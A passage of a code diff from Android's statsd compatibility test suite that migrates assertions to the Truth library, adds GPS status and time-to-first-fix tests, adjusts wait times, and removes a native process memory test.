+ assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
+ assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
+ assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
}
}
@@ -533,16 +536,17 @@
Thread.sleep(WAIT_TIME_LONG);
List<Atom> data = getGaugeMetricDataList();
- assertTrue(data.size() > 0);
+ assertThat(data).isNotEmpty();
BuildInformation atom = data.get(0).getBuildInformation();
- assertEquals(getProperty("ro.product.brand"), atom.getBrand());
- assertEquals(getProperty("ro.product.name"), atom.getProduct());
- assertEquals(getProperty("ro.product.device"), atom.getDevice());
- assertEquals(getProperty("ro.build.version.release"), atom.getVersionRelease());
- assertEquals(getProperty("ro.build.id"), atom.getId());
- assertEquals(getProperty("ro.build.version.incremental"), atom.getVersionIncremental());
- assertEquals(getProperty("ro.build.type"), atom.getType());
- assertEquals(getProperty("ro.build.tags"), atom.getTags());
+ assertThat(getProperty("ro.product.brand")).isEqualTo(atom.getBrand());
+ assertThat(getProperty("ro.product.name")).isEqualTo(atom.getProduct());
+ assertThat(getProperty("ro.product.device")).isEqualTo(atom.getDevice());
+ assertThat(getProperty("ro.build.version.release")).isEqualTo(atom.getVersionRelease());
+ assertThat(getProperty("ro.build.id")).isEqualTo(atom.getId());
+ assertThat(getProperty("ro.build.version.incremental"))
+ .isEqualTo(atom.getVersionIncremental());
+ assertThat(getProperty("ro.build.type")).isEqualTo(atom.getType());
+ assertThat(getProperty("ro.build.tags")).isEqualTo(atom.getTags());
}
public void testOnDevicePowerMeasurement() throws Exception {
@@ -563,8 +567,9 @@
List<Atom> dataList = getGaugeMetricDataList();
for (Atom atom: dataList) {
- assertTrue(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis() >= 0);
- assertTrue(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs() >= 0);
+ assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
+ .isAtLeast(0L);
+ assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
}
}
@@ -582,8 +587,8 @@
List<EventMetricData> data = getEventMetricDataList();
AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
- assertTrue(atom.getLabel() == 1);
- assertTrue(atom.getState().getNumber() == AppBreadcrumbReported.State.START_VALUE);
+ assertThat(atom.getLabel()).isEqualTo(1);
+ assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
}
// Test dumpsys stats --proto.
@@ -600,7 +605,7 @@
// Get the stats incident section.
List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
- assertTrue(listList.size() > 0);
+ assertThat(listList).isNotEmpty();
// Extract the relevent report from the incident section.
ConfigMetricsReportList ourList = null;
@@ -612,14 +617,14 @@
break;
}
}
- assertNotNull("Could not find list for uid=" + hostUid
- + " id=" + CONFIG_ID, ourList);
+ assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid, CONFIG_ID))
+ .that(ourList).isNotNull();
// Make sure that the report is correct.
List<EventMetricData> data = getEventMetricDataList(ourList);
AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
- assertTrue(atom.getLabel() == 1);
- assertTrue(atom.getState().getNumber() == AppBreadcrumbReported.State.START_VALUE);
+ assertThat(atom.getLabel()).isEqualTo(1);
+ assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
}
public void testConnectivityStateChange() throws Exception {
@@ -657,6 +662,7 @@
foundConnectEvent = true;
}
}
- assertTrue(foundConnectEvent && foundDisconnectEvent);
+ assertThat(foundConnectEvent).isTrue();
+ assertThat(foundDisconnectEvent).isTrue();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
index 5fecde5..ff65335 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateAtomTests.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.atom;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
import com.android.os.AtomsProto.Atom;
@@ -38,7 +40,7 @@
private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
// ActivityManager can take a while to register screen state changes, mandating an extra delay.
private static final int WAIT_TIME_FOR_CONFIG_AND_SCREEN_MS = 1_000;
- private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
+ private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
private static final String FEATURE_WATCH = "android.hardware.type.watch";
@@ -248,8 +250,8 @@
if (statsdDisabled()) {
return;
}
- assertFalse("UNKNOWN_TO_PROTO should not be a valid state",
- ALL_STATES.contains(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE));
+ assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
+ .that(ALL_STATES).doesNotContain(ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
}
/** Returns the a set containing elements of a that are not elements of b. */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 446d90f..540ff9b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -15,6 +15,9 @@
*/
package android.cts.statsd.atom;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.net.wifi.WifiModeEnum;
import android.os.WakeLockLevelEnum;
import android.server.ErrorSource;
@@ -24,6 +27,7 @@
import com.android.os.AtomsProto;
import com.android.os.AtomsProto.ANROccurred;
import com.android.os.AtomsProto.AppCrashOccurred;
+import com.android.os.AtomsProto.AppOps;
import com.android.os.AtomsProto.AppStartOccurred;
import com.android.os.AtomsProto.Atom;
import com.android.os.AtomsProto.AttributionNode;
@@ -41,10 +45,10 @@
import com.android.os.AtomsProto.LooperStats;
import com.android.os.AtomsProto.LmkKillOccurred;
import com.android.os.AtomsProto.MediaCodecStateChanged;
-import com.android.os.AtomsProto.NativeProcessMemoryState;
import com.android.os.AtomsProto.OverlayStateChanged;
import com.android.os.AtomsProto.PictureInPictureStateChanged;
import com.android.os.AtomsProto.ProcessMemoryHighWaterMark;
+import com.android.os.AtomsProto.ProcessMemorySnapshot;
import com.android.os.AtomsProto.ProcessMemoryState;
import com.android.os.AtomsProto.ScheduledJobStateChanged;
import com.android.os.AtomsProto.SyncStateChanged;
@@ -58,6 +62,8 @@
import com.android.os.StatsLog.EventMetricData;
import com.android.tradefed.log.LogUtil;
+import com.google.common.collect.Range;
+
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
@@ -102,12 +108,12 @@
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
- assertEquals(1, data.size());
- assertTrue(data.get(0).getAtom().hasLmkKillOccurred());
+ assertThat(data).hasSize(1);
+ assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
- assertEquals(getUid(), atom.getUid());
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, atom.getProcessName());
- assertTrue(500 <= atom.getOomAdjScore());
+ assertThat(atom.getUid()).isEqualTo(getUid());
+ assertThat(atom.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(atom.getOomAdjScore()).isAtLeast(500);
}
public void testAppCrashOccurred() throws Exception {
@@ -125,11 +131,12 @@
List<EventMetricData> data = getEventMetricDataList();
AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
- assertEquals("crash", atom.getEventType());
- assertEquals(AppCrashOccurred.InstantApp.FALSE_VALUE, atom.getIsInstantApp().getNumber());
- assertEquals(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE,
- atom.getForegroundState().getNumber());
- assertEquals("com.android.server.cts.device.statsd", atom.getPackageName());
+ assertThat(atom.getEventType()).isEqualTo("crash");
+ assertThat(atom.getIsInstantApp().getNumber())
+ .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+ assertThat(atom.getForegroundState().getNumber())
+ .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+ assertThat(atom.getPackageName()).isEqualTo("com.android.server.cts.device.statsd");
}
public void testAppStartOccurred() throws Exception {
@@ -147,12 +154,12 @@
List<EventMetricData> data = getEventMetricDataList();
AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
- assertEquals("com.android.server.cts.device.statsd", atom.getPkgName());
- assertEquals("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity",
- atom.getActivityName());
- assertFalse(atom.getIsInstantApp());
- assertTrue(atom.getActivityStartMillis() > 0);
- assertTrue(atom.getTransitionDelayMillis() > 0);
+ assertThat(atom.getPkgName()).isEqualTo("com.android.server.cts.device.statsd");
+ assertThat(atom.getActivityName())
+ .isEqualTo("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity");
+ assertThat(atom.getIsInstantApp()).isFalse();
+ assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
+ assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
}
public void testAudioState() throws Exception {
@@ -204,8 +211,8 @@
BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
- assertTrue(a0.getState().getNumber() == stateOn);
- assertTrue(a1.getState().getNumber() == stateOff);
+ assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+ assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
}
public void testBleUnoptimizedScan() throws Exception {
@@ -225,15 +232,15 @@
stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
- assertTrue(a0.getState().getNumber() == stateOn);
- assertFalse(a0.getIsFiltered());
- assertFalse(a0.getIsFirstMatch());
- assertFalse(a0.getIsOpportunistic());
+ assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+ assertThat(a0.getIsFiltered()).isFalse();
+ assertThat(a0.getIsFirstMatch()).isFalse();
+ assertThat(a0.getIsOpportunistic()).isFalse();
BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
- assertTrue(a1.getState().getNumber() == stateOff);
- assertFalse(a1.getIsFiltered());
- assertFalse(a1.getIsFirstMatch());
- assertFalse(a1.getIsOpportunistic());
+ assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+ assertThat(a1.getIsFiltered()).isFalse();
+ assertThat(a1.getIsFirstMatch()).isFalse();
+ assertThat(a1.getIsOpportunistic()).isFalse();
// Now repeat the test for opportunistic scanning and make sure it is reported correctly.
@@ -241,15 +248,15 @@
stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
a0 = data.get(0).getAtom().getBleScanStateChanged();
- assertTrue(a0.getState().getNumber() == stateOn);
- assertFalse(a0.getIsFiltered());
- assertFalse(a0.getIsFirstMatch());
- assertTrue(a0.getIsOpportunistic()); // This scan is opportunistic.
+ assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+ assertThat(a0.getIsFiltered()).isFalse();
+ assertThat(a0.getIsFirstMatch()).isFalse();
+ assertThat(a0.getIsOpportunistic()).isTrue(); // This scan is opportunistic.
a1 = data.get(1).getAtom().getBleScanStateChanged();
- assertTrue(a1.getState().getNumber() == stateOff);
- assertFalse(a1.getIsFiltered());
- assertFalse(a1.getIsFirstMatch());
- assertTrue(a1.getIsOpportunistic());
+ assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+ assertThat(a1.getIsFiltered()).isFalse();
+ assertThat(a1.getIsFirstMatch()).isFalse();
+ assertThat(a1.getIsOpportunistic()).isTrue();
}
public void testBleScanResult() throws Exception {
@@ -265,9 +272,9 @@
addAtomEvent(conf, atom, createFvm(field).setGteInt(0));
List<EventMetricData> data = doDeviceMethod("testBleScanResult", conf);
- assertTrue(data.size() >= 1);
+ assertThat(data.size()).isAtLeast(1);
BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
- assertTrue(a0.getNumResults() >= 1);
+ assertThat(a0.getNumResults()).isAtLeast(1);
}
public void testHiddenApiUsed() throws Exception {
@@ -289,15 +296,15 @@
List<EventMetricData> data = getEventMetricDataList();
- assertTrue(data.size() == 1);
+ assertThat(data).hasSize(1);
HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
int uid = getUid();
- assertEquals(uid, atom.getUid());
- assertFalse(atom.getAccessDenied());
- assertEquals("Landroid/app/Activity;->mWindow:Landroid/view/Window;",
- atom.getSignature());
+ assertThat(atom.getUid()).isEqualTo(uid);
+ assertThat(atom.getAccessDenied()).isFalse();
+ assertThat(atom.getSignature())
+ .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
} finally {
if (!oldRate.equals("null")) {
getDevice().executeShellCommand(
@@ -359,11 +366,11 @@
for (Atom atom : atomList) {
if (atom.getCpuTimePerUid().getUid() == uid) {
found = true;
- assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
- assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
+ assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
+ assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
}
}
- assertTrue("found uid " + uid, found);
+ assertWithMessage(String.format("did not find uid %d", uid)).that(found).isTrue();
}
public void testDeviceCalculatedPowerUse() throws Exception {
@@ -384,7 +391,8 @@
Thread.sleep(WAIT_TIME_LONG);
Atom atom = getGaugeMetricDataList().get(0);
- assertTrue(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs() > 0);
+ assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
+ .isGreaterThan(0L);
}
@@ -413,13 +421,15 @@
for (Atom atom : atomList) {
DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
if (item.getUid() == uid) {
- assertFalse("Found multiple power values for uid " + uid, uidFound);
+ assertWithMessage(String.format("Found multiple power values for uid %d", uid))
+ .that(uidFound).isFalse();
uidFound = true;
uidPower = item.getPowerNanoAmpSecs();
}
}
- assertTrue("No power value for uid " + uid, uidFound);
- assertTrue("Non-positive power value for uid " + uid, uidPower > 0);
+ assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
+ assertWithMessage(String.format("Non-positive power value for uid %d", uid))
+ .that(uidPower).isGreaterThan(0L);
}
public void testDavey() throws Exception {
@@ -435,12 +445,10 @@
runActivity("DaveyActivity", null, null);
List<EventMetricData> data = getEventMetricDataList();
- assertTrue(data.size() == 1);
+ assertThat(data).hasSize(1);
long duration = data.get(0).getAtom().getDaveyOccurred().getJankDurationMillis();
- assertTrue("Jank duration of " + duration + "ms was less than " + MIN_DURATION + "ms",
- duration >= MIN_DURATION);
- assertTrue("Jank duration of " + duration + "ms was longer than " + MAX_DURATION + "ms",
- duration <= MAX_DURATION);
+ assertWithMessage("Incorrect jank duration")
+ .that(duration).isIn(Range.closed(MIN_DURATION, MAX_DURATION));
}
public void testFlashlightState() throws Exception {
@@ -526,8 +534,88 @@
GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
- assertTrue(a0.getState().getNumber() == stateOn);
- assertTrue(a1.getState().getNumber() == stateOff);
+ assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+ assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+ } finally {
+ if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+ getDevice().executeShellCommand(
+ "settings delete global location_background_throttle_package_whitelist");
+ } else {
+ getDevice().executeShellCommand(String.format(
+ "settings put global location_background_throttle_package_whitelist %s",
+ origWhitelist));
+ }
+ }
+ }
+
+ public void testGpsStatus() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+ if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
+ // Whitelist this app against background location request throttling
+ String origWhitelist = getDevice().executeShellCommand(
+ "settings get global location_background_throttle_package_whitelist").trim();
+ getDevice().executeShellCommand(String.format(
+ "settings put global location_background_throttle_package_whitelist %s",
+ DEVICE_SIDE_TEST_PACKAGE));
+
+ try {
+ final int atom = Atom.GPS_LOCATION_STATUS_REPORTED_FIELD_NUMBER;
+
+ createAndUploadConfig(atom);
+ Thread.sleep(WAIT_TIME_SHORT);
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGpsStatus");
+
+ // Sorted list of events in order in which they occurred.
+ List<EventMetricData> data = getEventMetricDataList();
+
+ /*
+ We will sleep for a minimum of 5 seconds and if time to first fix is at max we would
+ wait for at most 90 seconds. Meaning we should see a minimum of 1 status message and a
+ maximum of 90 status messages.
+ */
+ assertThat(data.size()).isAtLeast(1);
+ assertThat(data.size()).isAtMost(90);
+ } finally {
+ if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+ getDevice().executeShellCommand(
+ "settings delete global location_background_throttle_package_whitelist");
+ } else {
+ getDevice().executeShellCommand(String.format(
+ "settings put global location_background_throttle_package_whitelist %s",
+ origWhitelist));
+ }
+ }
+ }
+
+ public void testGpsTimeToFirstFix() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+ if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
+ // Whitelist this app against background location request throttling
+ String origWhitelist = getDevice().executeShellCommand(
+ "settings get global location_background_throttle_package_whitelist").trim();
+ getDevice().executeShellCommand(String.format(
+ "settings put global location_background_throttle_package_whitelist %s",
+ DEVICE_SIDE_TEST_PACKAGE));
+
+ try {
+ final int atom = Atom.GPS_TIME_TO_FIRST_FIX_REPORTED_FIELD_NUMBER;
+
+ createAndUploadConfig(atom);
+ Thread.sleep(WAIT_TIME_SHORT);
+ runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGpsStatus");
+
+ // Sorted list of events in order in which they occurred.
+ List<EventMetricData> data = getEventMetricDataList();
+
+ assertThat(data.size()).isEqualTo(1);
+ assertThat(data.get(0).getAtom().getGpsTimeToFirstFixReported()
+ .getTimeToFirstFixMillis()).isGreaterThan(0);
+ assertThat(data.get(0).getAtom().getGpsTimeToFirstFixReported()
+ .getTimeToFirstFixMillis()).isAtMost(90_000);
} finally {
if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
getDevice().executeShellCommand(
@@ -547,6 +635,12 @@
if (!hasFeature(FEATURE_WATCH, false)) return;
final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
+ // 5 seconds. Starting video tends to be much slower than most other
+ // tests on slow devices. This is unfortunate, because it leaves a
+ // really big slop in assertStatesOccurred. It would be better if
+ // assertStatesOccurred had a tighter range on large timeouts.
+ final int waitTime = 5000;
+
Set<Integer> onState = new HashSet<>(
Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
Set<Integer> offState = new HashSet<>(
@@ -558,13 +652,14 @@
createAndUploadConfig(atomTag, true); // True: uses attribution.
Thread.sleep(WAIT_TIME_SHORT);
- runActivity("VideoPlayerActivity", "action", "action.play_video");
+ runActivity("VideoPlayerActivity", "action", "action.play_video",
+ waitTime);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
// Assert that the events happened in the expected order.
- assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
+ assertStatesOccurred(stateSet, data, waitTime,
atom -> atom.getMediaCodecStateChanged().getState().getNumber());
}
@@ -586,7 +681,7 @@
createAndUploadConfig(atomTag, false);
runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
- 3_000);
+ 5_000);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
@@ -657,7 +752,8 @@
atom -> atom.getScheduledJobStateChanged().getState().getNumber());
for (EventMetricData e : data) {
- assertTrue(e.getAtom().getScheduledJobStateChanged().getJobName().equals(expectedName));
+ assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
+ .isEqualTo(expectedName);
}
}
@@ -783,10 +879,8 @@
for (EventMetricData event: data) {
String tag = event.getAtom().getWakelockStateChanged().getTag();
WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
- assertTrue("Expected tag: " + EXPECTED_TAG + ", but got tag: " + tag,
- tag.equals(EXPECTED_TAG));
- assertTrue("Expected wakelock type: " + EXPECTED_LEVEL + ", but got level: " + type,
- type == EXPECTED_LEVEL);
+ assertThat(tag).isEqualTo(EXPECTED_TAG);
+ assertThat(type).isEqualTo(EXPECTED_LEVEL);
}
}
@@ -803,11 +897,11 @@
addAtomEvent(config, atomTag, true); // True: uses attribution.
List<EventMetricData> data = doDeviceMethod("testWakeupAlarm", config);
- assertTrue(data.size() >= 1);
+ assertThat(data.size()).isAtLeast(1);
for (int i = 0; i < data.size(); i++) {
WakeupAlarmOccurred wao = data.get(i).getAtom().getWakeupAlarmOccurred();
- assertEquals("*walarm*:android.cts.statsd.testWakeupAlarm", wao.getTag());
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, wao.getPackageName());
+ assertThat(wao.getTag()).isEqualTo("*walarm*:android.cts.statsd.testWakeupAlarm");
+ assertThat(wao.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
}
}
@@ -836,8 +930,8 @@
atom -> atom.getWifiLockStateChanged().getState().getNumber());
for (EventMetricData event : data) {
- assertEquals(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF,
- event.getAtom().getWifiLockStateChanged().getMode());
+ assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+ .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
}
}
@@ -866,8 +960,8 @@
atom -> atom.getWifiLockStateChanged().getState().getNumber());
for (EventMetricData event : data) {
- assertEquals(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY,
- event.getAtom().getWifiLockStateChanged().getMode());
+ assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+ .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
}
}
@@ -901,7 +995,7 @@
for (EventMetricData event: data) {
String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
- assertEquals("Wrong tag.", EXPECTED_TAG, tag);
+ assertThat(tag).isEqualTo(EXPECTED_TAG);
}
}
@@ -922,12 +1016,11 @@
List<EventMetricData> data = doDeviceMethodOnOff("testWifiScan", atom, key,
stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, demandExactlyTwo);
- assertTrue(data.size() >= 2);
- assertTrue(data.size() <= 4);
+ assertThat(data.size()).isIn(Range.closed(2, 4));
WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
- assertTrue(a0.getState().getNumber() == stateOn);
- assertTrue(a1.getState().getNumber() == stateOff);
+ assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+ assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
}
public void testBinderStats() throws Exception {
@@ -963,20 +1056,16 @@
if (calls.getUid() == uid && classMatches && methodMatches) {
found = true;
- assertTrue("Call count should not be negative or equal to 0.",
- calls.getRecordedCallCount() > 0);
- assertTrue("Call count should not be negative or equal to 0.",
- calls.getCallCount() > 0);
- assertTrue("Wrong latency",
- calls.getRecordedTotalLatencyMicros() > 0
- && calls.getRecordedTotalLatencyMicros() < 1000000);
- assertTrue("Wrong cpu usage",
- calls.getRecordedTotalCpuMicros() > 0
- && calls.getRecordedTotalCpuMicros() < 1000000);
+ assertThat(calls.getRecordedCallCount()).isGreaterThan(0L);
+ assertThat(calls.getCallCount()).isGreaterThan(0L);
+ assertThat(calls.getRecordedTotalLatencyMicros())
+ .isIn(Range.open(0L, 1000000L));
+ assertThat(calls.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
}
}
- assertTrue("Did not find a matching atom for uid " + uid, found);
+ assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+ .that(found).isTrue();
} finally {
disableBinderStats();
@@ -1017,34 +1106,21 @@
notificationServiceFullName + "$EnqueueNotificationRunnable");
if (atom.getLooperStats().getUid() == uid && handlerMatches && messageMatches) {
found = true;
- assertTrue(stats.getMessageCount() > 0);
- assertTrue("Message count should be non-negative.",
- stats.getMessageCount() > 0);
- assertTrue("Recorded message count should be non-negative.",
- stats.getRecordedMessageCount() > 0);
- assertTrue("Wrong latency",
- stats.getRecordedTotalLatencyMicros() > 0
- && stats.getRecordedTotalLatencyMicros() < 1000000);
- assertTrue("Wrong cpu usage",
- stats.getRecordedTotalCpuMicros() > 0
- && stats.getRecordedTotalCpuMicros() < 1000000);
- assertTrue("Wrong max latency",
- stats.getRecordedMaxLatencyMicros() > 0
- && stats.getRecordedMaxLatencyMicros() < 1000000);
- assertTrue("Wrong max cpu usage",
- stats.getRecordedMaxCpuMicros() > 0
- && stats.getRecordedMaxCpuMicros() < 1000000);
- assertTrue("Recorded delay message count should be non-negative.",
- stats.getRecordedDelayMessageCount() > 0);
- assertTrue("Wrong delay",
- stats.getRecordedTotalDelayMillis() >= 0
- && stats.getRecordedTotalDelayMillis() < 5000);
- assertTrue("Wrong max delay",
- stats.getRecordedMaxDelayMillis() >= 0
- && stats.getRecordedMaxDelayMillis() < 5000);
+ assertThat(stats.getMessageCount()).isGreaterThan(0L);
+ assertThat(stats.getRecordedMessageCount()).isGreaterThan(0L);
+ assertThat(stats.getRecordedTotalLatencyMicros())
+ .isIn(Range.open(0L, 1000000L));
+ assertThat(stats.getRecordedTotalCpuMicros()).isIn(Range.open(0L, 1000000L));
+ assertThat(stats.getRecordedMaxLatencyMicros()).isIn(Range.open(0L, 1000000L));
+ assertThat(stats.getRecordedMaxCpuMicros()).isIn(Range.open(0L, 1000000L));
+ assertThat(stats.getRecordedDelayMessageCount()).isGreaterThan(0L);
+ assertThat(stats.getRecordedTotalDelayMillis())
+ .isIn(Range.closedOpen(0L, 5000L));
+ assertThat(stats.getRecordedMaxDelayMillis()).isIn(Range.closedOpen(0L, 5000L));
}
}
- assertTrue("Did not find a matching atom for uid " + uid, found);
+ assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+ .that(found).isTrue();
} finally {
cleanUpLooperStats();
plugInAc();
@@ -1065,7 +1141,7 @@
// Start test app.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
- Thread.sleep(WAIT_TIME_SHORT);
+ Thread.sleep(WAIT_TIME_LONG);
// Trigger a pull and wait for new pull before killing the process.
setAppBreadcrumbPredicate();
Thread.sleep(WAIT_TIME_LONG);
@@ -1081,53 +1157,16 @@
continue;
}
found = true;
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, state.getProcessName());
- assertTrue("oom_score should not be negative", state.getOomAdjScore() >= 0);
- assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
- assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
- assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
- assertTrue("cache_in_bytes should not be negative", state.getCacheInBytes() >= 0);
- assertTrue("swap_in_bytes should not be negative", state.getSwapInBytes() >= 0);
- assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
- assertTrue("start_time_nanos should be in the past",
- state.getStartTimeNanos() < System.nanoTime());
+ assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(state.getOomAdjScore()).isAtLeast(0);
+ assertThat(state.getPageFault()).isAtLeast(0L);
+ assertThat(state.getPageMajorFault()).isAtLeast(0L);
+ assertThat(state.getRssInBytes()).isGreaterThan(0L);
+ assertThat(state.getCacheInBytes()).isAtLeast(0L);
+ assertThat(state.getSwapInBytes()).isAtLeast(0L);
}
- assertTrue("Did not find a matching atom for uid=" + uid, found);
- }
-
- public void testNativeProcessMemoryState() throws Exception {
- if (statsdDisabled()) {
- return;
- }
-
- // Get NativeProcessState as a simple gauge metric.
- StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtomWithDimensions(config, Atom.NATIVE_PROCESS_MEMORY_STATE_FIELD_NUMBER, null);
- uploadConfig(config);
- Thread.sleep(WAIT_TIME_SHORT);
-
- // Trigger new pull.
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_LONG);
-
- // Assert about NativeProcessMemoryState for statsd.
- List<Atom> atoms = getGaugeMetricDataList();
- boolean found = false;
- for (Atom atom : atoms) {
- NativeProcessMemoryState state = atom.getNativeProcessMemoryState();
- if (!state.getProcessName().contains("/statsd")) {
- continue;
- }
- found = true;
- assertTrue("uid is below 10000", state.getUid() < 10000);
- assertTrue("page_fault should not be negative", state.getPageFault() >= 0);
- assertTrue("page_major_fault should not be negative", state.getPageMajorFault() >= 0);
- assertTrue("rss_in_bytes should be positive", state.getRssInBytes() > 0);
- assertTrue("start_time_nanos should be positive", state.getStartTimeNanos() > 0);
- assertTrue("start_time_nanos should be in the past",
- state.getStartTimeNanos() < System.nanoTime());
- }
- assertTrue("Did not find a matching atom for statsd", found);
